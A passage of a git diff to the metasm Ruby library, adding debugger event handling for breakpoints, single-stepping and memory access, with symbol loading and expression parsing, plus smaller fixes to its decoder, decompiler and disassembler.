@cpu.respond_to?(:dbg_check_pre_run) + @breakpoint_cause = nil + @run_method = run_m + @run_args = run_a + @info = nil + true + end + + + # called when the target stops due to a singlestep exception + def evt_singlestep(b=nil) + b ||= find_singlestep + return evt_exception(:type => 'singlestep') if not b + + @state = :stopped + @info = 'singlestep' + @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) + + callback_singlestep[] if callback_singlestep + + if cb = @singlestep_cb + @singlestep_cb = nil + cb.call # call last, as the cb may change singlestep_cb/state/etc + end + end + + # returns true if the singlestep is due to us + def find_singlestep + return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) + @run_method == :singlestep + end + + # called when the target stops due to a soft breakpoint exception + def evt_bpx(b=nil) + b ||= find_bp_bpx + # TODO handle race: + # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception + return evt_exception(:type => 'breakpoint') if not b + + @state = :stopped + @info = 'breakpoint' + @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) + + callback_bpx[b] if callback_bpx + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_bpx + def find_bp_bpx + return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) + @breakpoint[pc] + end + + # called when the target stops due to a hwbp exception + def evt_hwbp(b=nil) + b ||= find_bp_hwbp + return evt_exception(:type => 'hwbp') if not b + + @state = :stopped + @info = 'hwbp' + @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) + + callback_hwbp[b] if callback_hwbp + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_hwbp + def find_bp_hwbp + return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp) + @breakpoint_thread.find { |b| b.address == pc } + end + + # called for archs where the same interrupt is generated for hwbp and singlestep + # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which + # will forward to evt_exception if singlestep does not match either) + def evt_hwbp_singlestep + if b = find_bp_hwbp + evt_hwbp(b) + else + evt_singlestep + end + end + + # called when the target stops due to a memory exception caused by a memory bp + # called by evt_exception + def evt_bpm(b) + @state = :stopped + @info = 'bpm' + + callback_bpm[b] if callback_bpm + + post_evt_bp(b) + end + + # return a bpm whose page coverage includes the fault described in info + def find_bp_bpm(info) + @breakpoint_memory[info[:fault_addr] & -0x1000] + end + + # returns true if the fault described in info is valid to trigger b + def check_bpm_range(b, info) + return if b.address+b.internal[:len] <= info[:fault_addr] + return if b.address >= info[:fault_addr] + info[:fault_len] + case b.internal[:type] + when :r; info[:fault_access] == :r # or info[:fault_access] == :x + when :w; info[:fault_access] == :w + when :x; info[:fault_access] == :x # XXX non-NX cpu => check pc is in bpm range ? + when :rw; true + end + end + + # handles breakpoint conditions/callbacks etc + def post_evt_bp(b) + @breakpoint_cause = b + + found_valid_active = false + + pre_callback_pc = pc + + # XXX may have many active bps with callback that continue/singlestep/singlestep{}... + b.hash_shared.dup.find_all { |bb| + # ignore inactive bps + next if bb.state != :active + + # ignore out-of-range bpms + next if bb.type == :bpm and not check_bpm_range(bb, b.internal) + + # check condition + case bb.condition + when nil; cd = 1 + when Proc; cd = bb.condition.call + when String, Expression; cd = resolve_expr(bb.condition) + else raise "unknown bp condition #{bb.condition.inspect}" + end + next if not cd or cd == 0 + + found_valid_active = true + + # oneshot + del_bp(bb) if bb.oneshot + + bb.action + }.each { |bb| bb.action.call } + + # discard @breakpoint_cause if a bp callback did modify register_pc + @breakpoint_cause = nil if pc != pre_callback_pc + + # we did break due to a bp whose condition is not true: resume + # (unless a callback already resumed) + resume_badbreak(b) if not found_valid_active and @state == :stopped + end + + # called whenever the target stops due to an exception + # type may be: + # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) + # anything else for other exceptions (access violation is special to handle bpm) + # ... + def evt_exception(info={}) + if info[:type] == 'access violation' and b = find_bp_bpm(info) + info[:fault_len] ||= 1 + b.internal.update info + return evt_bpm(b) + end + + @state = :stopped + @info = "exception #{info[:type]}" + + callback_exception[info] if callback_exception + + pass = pass_all_exceptions + pass = pass[info] if pass.kind_of? Proc + if pass + pass_current_exception + resume_badbreak + end + end + + def evt_newthread(info={}) + @state = :stopped + @info = 'new thread' + + callback_newthread[info] if callback_newthread + + ign = ignore_newthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_endthread(info={}) + @state = :stopped + @info = 'end thread' + # mark the thread as to be deleted on next check_pre_run + @dead_thread = true + + callback_endthread[info] if callback_endthread + + ign = ignore_endthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_newprocess(info={}) + @state = :stopped + @info = 'new process' + + callback_newprocess[info] if callback_newprocess + end + + def evt_endprocess(info={}) + @state = :stopped + @info = 'end process' + @dead_process = true + + callback_endprocess[info] if callback_endprocess + end + + def evt_loadlibrary(info={}) + @state = :stopped + @info = 'loadlibrary' + + callback_loadlibrary[info] if callback_loadlibrary + end + + # called when we did break due to a breakpoint whose condition is invalid + # resume execution as if we never stopped + # disable offending bp + singlestep if needed + def resume_badbreak(b=nil) + # ensure we didn't delete b + if b and b.hash_shared.find { |bb| bb.state == :active } + rm = @run_method + if rm == :singlestep + singlestep_bp(b) + else + ra = @run_args + singlestep_bp(b) { send rm, *ra } + end + else + send @run_method, *@run_args + end + end + + # singlesteps over an active breakpoint and run its block + # if the breakpoint provides an emulation stub, run that, otherwise + # disable the breakpoint, singlestep, and re-enable + def singlestep_bp(bp, &b) + if has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + b.call if b + else + bp.hash_shared.each { |bb| + disable_bp(bb, :temp_inactive) if bb.state == :active + } + # this *should* work with different bps stopping the current instr + prev_sscb = @singlestep_cb + singlestep { + bp.hash_shared.each { |bb| + enable_bp(bb) if bb.state == :temp_inactive + } + prev_sscb[] if prev_sscb + b.call if b + } + end + end + + # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc + def check_breakpoint_cause + if bp = @breakpoint_cause and + (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and + pc != bp.address + bp = @breakpoint_cause = nil + end + bp + end + + # checks if the running target has stopped (nonblocking) + # returns false if no debug event happened + def check_target + do_check_target + end + + # waits until the running target stops (due to a breakpoint, fault, etc) + def wait_target + do_wait_target while @state == :running + end + + # resume execution of the target + # bypasses a software breakpoint on pc if needed + # thread breakpoints must be manually disabled before calling continue + def continue + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:continue) + do_continue + } + else + return if not check_pre_run(:continue) + do_continue + end + end + alias run continue + + # continue ; wait_target + def continue_wait + continue + wait_target + end + + # resume execution of the target one instruction at a time + def singlestep(&b) + @singlestep_cb = b + bp = check_breakpoint_cause + return if not check_pre_run(:singlestep) + if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + invalidate + evt_singlestep(true) + else + do_singlestep + end + end + + # singlestep ; wait_target + def singlestep_wait(&b) + singlestep(&b) + wait_target + end + + # tests if the specified instructions should be stepover() using singlestep or + # by putting a breakpoint at next_addr + def need_stepover(di = di_at(pc)) + di and @cpu.dbg_need_stepover(self, di.address, di) + end + + # stepover: singlesteps, but do not enter in subfunctions + def stepover + di = di_at(pc) + if need_stepover(di) + bpx di.next_addr, true, Expression[:tid, :==, @tid] + continue + else + singlestep + end + end + + # stepover ; wait_target + def stepover_wait + stepover + wait_target + end + + # checks if an instruction should stop the stepout() (eg it is a return instruction) + def end_stepout(di = di_at(pc)) + di and @cpu.dbg_end_stepout(self, di.address, di) + end + + # stepover until finding the last instruction of the function + def stepout + # TODO thread-local bps + while not end_stepout + stepover + wait_target + end + do_singlestep + end + + def stepout_wait + stepout + wait_target + end + + # set a singleshot breakpoint, run the process, and wait + def go(target, cond=nil) + bpx(target, true, cond) + continue_wait + end + + # continue_wait until @state == :dead + def run_forever + continue_wait until @state == :dead + end + + # decode the Instruction at the address, use the @disassembler cache if available + def di_at(addr) + @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) + end + + # list the general purpose register names available for the target + def register_list + @cpu.dbg_register_list + end + + # hash { register_name => register_size_in_bits } + def register_size + @cpu.dbg_register_size + end + + # retrieves the name of the register holding the program counter (address of the next instruction) + def register_pc + @cpu.dbg_register_pc + end + + # retrieve the name of the register holding the stack pointer + def register_sp + @cpu.dbg_register_sp + end + + # then name of the register holding the cpu flags + def register_flags + @cpu.dbg_register_flags + end + + # list of flags available in the flag register + def flag_list + @cpu.dbg_flag_list + end + + # retreive the value of the program counter register (eip) + def pc + get_reg_value(register_pc) + end + alias ip pc + + # change the value of pc + def pc=(v) + set_reg_value(register_pc, v) + end + alias ip= pc= + + # retrieve the value of the stack pointer register + def sp + get_reg_value(register_sp) + end + + # update the stack pointer + def sp=(v) + set_reg_value(register_sp, v) + end + + # retrieve the value of a flag (0/1) + def get_flag_value(f) + @cpu.dbg_get_flag(self, f) + end + + # retrieve the value of a flag (true/false) + def get_flag(f) + get_flag_value(f) != 0 + end + + # change the value of a flag + def set_flag_value(f, v) + (v && v != 0) ? set_flag(f) : unset_flag(f) + end + + # switch the value of a flag (true->false, false->true) + def toggle_flag(f) + set_flag_value(f, 1-get_flag_value(f)) + end + + # set the value of the flag to true + def set_flag(f) + @cpu.dbg_set_flag(self, f) + end + + # set the value of the flag to false + def unset_flag(f) + @cpu.dbg_unset_flag(self, f) + end + + # returns the name of the module containing addr or nil + def addr2module(addr) + @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } + end + + # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') + def addrname(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # same as addrname, but scan preceding addresses if no symbol matches + def addrname!(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : + @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || + @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # loads the symbols from a mapped module + def loadsyms(addr, name='%08x'%addr.to_i) + if addr.kind_of? String + modules.each { |m| + if m.path =~ /#{addr}/i + addr = m.addr + name = File.basename m.path + break + end + } + return if not addr.kind_of? Integer + end + return if not peek = @memory.get_page(addr, 4) + if peek == "\x7fELF" + cls = LoadedELF + elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" + cls = LoadedPE + else return + end + + begin + e = cls.load @memory[addr, 0x1000_0000] + e.load_address = addr + e.decode_header + e.decode_exports + rescue + # cache the error so that we dont hit it every time + @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] + return + end + + if n = e.module_name and n != name + name = n + end + + @modulemap[name] ||= [addr, addr+e.module_size] + + cnt = 0 + e.module_symbols.each { |n_, a, l| + cnt += 1 + a += addr + @disassembler.set_label_at(a, n_, false) + @symbols[a] = n_ # XXX store "lib!sym" ? + if l and l > 1; @symbols_len[a] = l + else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync + end + } + log "loaded #{cnt} symbols from #{name}" + + true + end + + # scan the target memory for loaded libraries, load their symbols + def scansyms(addr=0, max=@memory.length-0x1000-addr) + while addr <= max + loadsyms(addr) + addr += 0x1000 + end + end + + # load symbols from all libraries found by the OS module + def loadallsyms(&b) + modules.each { |m| + b.call(m.addr) if b + loadsyms(m.addr, m.path) + } + end + + # see Disassembler#load_map + def load_map(str, off=0) + str = File.read(str) if File.exist?(str) + sks = @disassembler.sections.keys.sort + str.each_line { |l| + case l.strip + when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style + a = $1.to_i(16) + off + n = $3 + when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style + # see Disassembler for comments + a = sks[$1.to_i(16)] + $2.to_i(16) + off + n = $3 + else next + end + @disassembler.set_label_at(a, n, false) + @symbols[a] = n + } + + end + + # parses the expression contained in arg + def parse_expr(arg) + parse_expr!(arg.dup) + end + + # parses the expression contained in arg, updates arg to point after the expr + def parse_expr!(arg, &b) + return if not e = IndExpression.parse_string!(arg) { |s| + # handle 400000 -> 0x400000 + # XXX no way to override and force decimal interpretation.. + if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) + s.to_i(16) + else + s.to_i + end + } + + # resolve ambiguous symbol names/hex values + bd = {} + e.externals.grep(::String).each { |ex| + if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || + (b && b.call(ex)) || symbols.index(ex) + lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } + case lst.length + when 0 + if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) + v = ex.to_i(16) + else + raise "unknown symbol name #{ex}" + end + when 1 + v = symbols.index(lst.first) + log "using #{lst.first} for #{ex}" + else + suggest = lst[0, 50].join(', ') + suggest = suggest[0, 125] + '...' if suggest.length > 128 + raise "ambiguous symbol name #{ex}: #{suggest} ?" + end + end + bd[ex] = v + } + e = e.bind(bd) + + e + end + + # resolves an expression involving register values and/or memory indirection using the current context + # uses #register_list, #get_reg_value, @mem, @cpu + # :tid/:pid resolve to current thread + def resolve_expr(e) + e = parse_expr(e) if e.kind_of? ::String + bd = { :tid => @tid, :pid => @pid } + Expression[e].externals.each { |ex| + next if bd[ex] + case ex + when ::Symbol; bd[ex] = get_reg_value(ex) + when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0 + end + } + Expression[e].bind(bd).reduce { |i| + if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer + i.len ||= @cpu.size/8 + p &= (1 << @cpu.size) - 1 if p < 0 + Expression.decode_imm(@memory, i.len, @cpu, p) + end + } + end + alias resolve resolve_expr + + # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace + def stacktrace(maxdepth=500, &b) + @cpu.dbg_stacktrace(self, maxdepth, &b) + end + + # accepts a range or begin/end address to read memory, or a register name + def [](arg0, arg1=nil) + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1].to_str + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0].to_str + else + get_reg_value(arg0) + end + end + + # accepts a range or begin/end address to write memory, or a register name + def []=(arg0, arg1, val=nil) + arg1, val = val, arg1 if not val + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1] = val + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0] = val + else + set_reg_value(arg0, val) + end + end + + + # read an int from the target memory, int of sz bytes (defaults to cpu.size) + def memory_read_int(addr, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + Expression.decode_imm(@memory, sz, @cpu, addr) + end + + # write an int in the target memory + def memory_write_int(addr, val, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + val = resolve_expr(val) if not val.kind_of? ::Integer + @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) + end + + # retrieve an argument (call at a function entrypoint) + def func_arg(nr) + @cpu.dbg_func_arg(self, nr) + end + def func_arg_set(nr, val) + @cpu.dbg_func_arg_set(self, nr, val) + end + + # retrieve a function returned value (call at func exitpoint) + def func_retval + @cpu.dbg_func_retval(self) + end + def func_retval_set(val) + @cpu.dbg_func_retval_set(self, val) + end + def func_retval=(val) + @cpu.dbg_func_retval_set(self, val) + end + + # retrieve a function return address (call at func entry/exit) + def func_retaddr + @cpu.dbg_func_retaddr(self) + end + def func_retaddr_set(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + def func_retaddr=(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + + def load_plugin(plugin_filename) + if not File.exist?(plugin_filename) and defined? Metasmdir + # try autocomplete + pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) + if File.exist?(pf) + plugin_filename = pf + elsif File.exist?(pf + '.rb') + plugin_filename = pf + '.rb' + end + end + if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb') + plugin_filename += '.rb' + end + + instance_eval File.read(plugin_filename) + end + + # return the list of memory mappings of the current process + # array of [start, len, perms, infos] + def mappings + [[0, @memory.length]] + end + + # return a list of Process::Modules (with a #path, #addr) for the current process + def modules + [] + end + + # list debugged pids + def list_debug_pids + @pid_stuff.keys | [@pid].compact + end + + # return a list of OS::Process listing all alive processes (incl not debugged) + # default version only includes current debugged pids + def list_processes + list_debug_pids.map { |p| OS::Process.new(p) } + end + + # check if pid is valid + def check_pid(pid) + list_processes.find { |p| p.pid == pid } + end + + # list debugged tids + def list_debug_tids + @tid_stuff.keys | [@tid].compact + end + + # list of thread ids existing in the current process (incl not debugged) + # default version only lists debugged tids + alias list_threads list_debug_tids + + # check if tid is valid for the current process + def check_tid(tid) + list_threads.include?(tid) + end + + # see EData#pattern_scan + # scans only mapped areas of @memory, using os_process.mappings + def pattern_scan(pat, start=0, len=@memory.length-start, &b) + ret = [] + mappings.each { |maddr, mlen, perm, *o_| + next if perm !~ /r/i + mlen -= start-maddr if maddr < start + maddr = start if maddr < start + mlen = start+len-maddr if maddr+mlen > start+len + next if mlen <= 0 + EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off| + off += maddr + ret << off if not b or b.call(off) + } + } + ret + end + + def read_mapped_range(addr, len) + # try to use a single get_page call + s = @memory.get_page(addr, len) || '' + s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil) + end +end +end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb index 56fc2a561f..7c0b1af609 100644 --- a/lib/metasm/metasm/decode.rb +++ b/lib/metasm/metasm/decode.rb @@ -134,9 +134,10 @@ class EncodedData # bytes from rawsize to virtsize are returned as zeroes # ignores self.relocations def read(len=@virtsize-@ptr) - len = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, len] : '' - str = str.to_str.ljust(len, "\0") if str.length < len + vlen = len + vlen = @virtsize-@ptr if len > @virtsize-@ptr + str = (@ptr < @data.length) ? @data[@ptr, vlen] : '' + str = str.to_str.ljust(vlen, "\0") if str.length < vlen @ptr += len str end @@ -182,7 +183,7 @@ class CPU # returns a DecodedInstruction or nil def decode_instruction(edata, addr) @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata + di = decode_findopcode edata if edata.ptr <= edata.length di.address = addr if di di = decode_instr_op(edata, di) if di decode_instr_interpret(di, addr) if di @@ -209,5 +210,35 @@ class CPU def delay_slot(di=nil) 0 end + + def disassembler_default_func + DecodedFunction.new + end + + # return something like backtrace_binding in the forward direction + # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer + def get_fwdemu_binding(di, pc_reg=nil) + fdi = di.backtrace_binding ||= get_backtrace_binding(di) + fdi = fix_fwdemu_binding(di, fdi) + if pc_reg + if di.opcode.props[:setip] + xr = get_xrefs_x(nil, di) + if xr and xr.length == 1 + fdi[pc_reg] = xr[0] + else + fdi[:incomplete_binding] = Expression[1] + end + else + fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] + end + end + fdi + end + + # patch a forward binding from the backtrace binding + # useful only on specific instructions that update a register *and* dereference that register (eg push) + def fix_fwdemu_binding(di, fbd) + fbd + end end end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb index a835f44946..6dc7bda9a3 100644 --- a/lib/metasm/metasm/decompile.rb +++ b/lib/metasm/metasm/decompile.rb @@ -69,7 +69,7 @@ class Decompiler @c_parser.toplevel.symbol.delete func.name decompile_func(entry) @recurse = pre_recurse - if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } + if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } @c_parser.toplevel.statements << C::Declaration.new(func) end end @@ -208,7 +208,7 @@ class Decompiler @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } aoff = 1 ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] + aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] f.decompdata[:stackoff_type][aoff] ||= a.type f.decompdata[:stackoff_name][aoff] ||= a.name if a.name aoff += sizeof(a) # ary ? @@ -293,7 +293,7 @@ class Decompiler @dasm.function[ta] = DecodedFunction.new puts "autofunc #{Expression[ta]}" if $VERBOSE end - + if @dasm.function[ta] and type != :subfuncret f = dasm.auto_label_at(ta, 'func') ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ @@ -350,7 +350,7 @@ class Decompiler :include_start => i_s, :no_check => true, :terminals => [:frameptr]) if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) - ee + ee else e end end @@ -602,12 +602,12 @@ class Decompiler when C::If patch_test[ce.test] if ce.bthen.kind_of? C::Block - case ce.bthen.statements.length + case ce.bthen.statements.length when 1 walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } ce.bthen = ce.bthen.statements.first when 0 - if not ce.belse and i = ce.bthen.outer.statements.index(ce) + if not ce.belse and i = ce.bthen.outer.statements.index(ce) ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts end end @@ -1521,7 +1521,7 @@ class Decompiler tabidx = off / sizeof(st) off -= tabidx * sizeof(st) ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list + return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and not s.type.untypedef.kind_of? C::Union)) @@ -1656,13 +1656,12 @@ class Decompiler ce.rexpr = p if ce.rexpr == v1 } } - } end # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') - # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') + # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') # remove useless casts ('(int)i' with 'int i;' => 'i') def optimize(scope) optimize_code(scope) @@ -1871,7 +1870,7 @@ class Decompiler when ::Array; exp.any? { |_e| sideeffect _e, scope } when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) + sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) else true # failsafe end end @@ -2009,7 +2008,7 @@ class Decompiler }.compact tw = to - [:write] - if to.include? :split or tw.length > 1 + if to.include? :split or tw.length > 1 :split elsif tw.length == 1 tw.first @@ -2089,7 +2088,7 @@ class Decompiler if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) + !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) next if oe.op == :& and not oe.lexpr # no &(++eax) # merge pre/postincrement into next/prev var usage @@ -2221,7 +2220,7 @@ class Decompiler } case cnt when 0 - break if bad + break if bad next when 1 # good break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable @@ -2443,7 +2442,7 @@ class Decompiler end # compare type.type cause var is an Array and the cast is a Pointer countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil + sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil } vars.each { |n| if countref[n] == countderef[n] @@ -2453,7 +2452,7 @@ class Decompiler v.initializer = v.initializer.first if v.initializer.kind_of? ::Array walk_ce(tl) { |ce| if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' + ce.op = :'.' elsif ce.lexpr == target ce.lexpr = v end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb index 27e910ede0..01a91eb803 100644 --- a/lib/metasm/metasm/disassemble.rb +++ b/lib/metasm/metasm/disassemble.rb @@ -233,6 +233,11 @@ class DecodedFunction attr_accessor :finalized # bool, if true the function does not return (eg exit() or ExitProcess()) attr_accessor :noreturn + # hash stackoff => varname + # varname is a single String object shared by all ExpressionStrings (to allow renames) + attr_accessor :localvars + # hash stack offset => di address + attr_accessor :localvars_xrefs # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] # else update lazily the binding from expr.externals, and return backtrace_binding @@ -264,6 +269,16 @@ class DecodedFunction @backtracked_for = [] @backtrace_binding = {} end + + def get_localvar_stackoff(off, di=nil, str=nil) + if di + @localvars_xrefs ||= {} + @localvars_xrefs[off] ||= [] + @localvars_xrefs[off] |= [di.address] + end + @localvars ||= {} + @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off)) + end end class CPU @@ -438,7 +453,9 @@ class Disassembler when ::Integer when ::String raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base] + if ed = get_edata_at(base) + ed.del_export(base) + end encoded.add_export base, 0 else raise "invalid section base #{base.inspect} - expected string or integer" end @@ -451,7 +468,7 @@ class Disassembler # update section_edata.reloc # label -> list of relocs that refers to it - @inv_section_reloc = {} + @inv_section_reloc ||= {} @sections.each { |b, e| e.reloc.each { |o, r| r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } @@ -490,7 +507,7 @@ class Disassembler # ignore relocs embedded in an already-listed instr x << Xref.new(:reloc, addr) if not x.find { |x_| next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length + (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false } } end @@ -505,9 +522,18 @@ class Disassembler # parses a C string for function prototypes def parse_c(str, filename=nil, lineno=1) + @c_parser_constcache = nil @c_parser ||= @cpu.new_cparser @c_parser.lexer.define_weak('__METASM__DECODE__') @c_parser.parse(str, filename, lineno) + rescue ParseError + @c_parser.lexer.feed! '' + raise + end + + # list the constants ([name, integer value]) defined in the C code (#define / enums) + def c_constants + @c_parser_constcache ||= @c_parser.numeric_constants end # returns the canonical form of addr (absolute address integer or label of start of section + section offset) @@ -568,6 +594,7 @@ class Disassembler end # returns a hash associating addr => list of labels at this addr + # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name def label_alias if not @label_alias_cache @label_alias_cache = {} @@ -622,17 +649,16 @@ class Disassembler if not f.finalized f.finalized = true puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, addr, f, f.return_address) + backtrace_update_function_binding(addr, f) if not f.return_address detect_function_thunk(addr) end end - @comment[addr] ||= [] bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')] - @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address + add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')) + add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address } end @@ -658,7 +684,7 @@ puts " finalize subfunc #{Expression[addr]}" if debug_backtrace next if not f = @function[subfunc] or f.finalized f.finalized = true puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address) + backtrace_update_function_binding(subfunc, f) if not f.return_address detect_function_thunk(subfunc) end @@ -667,7 +693,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if 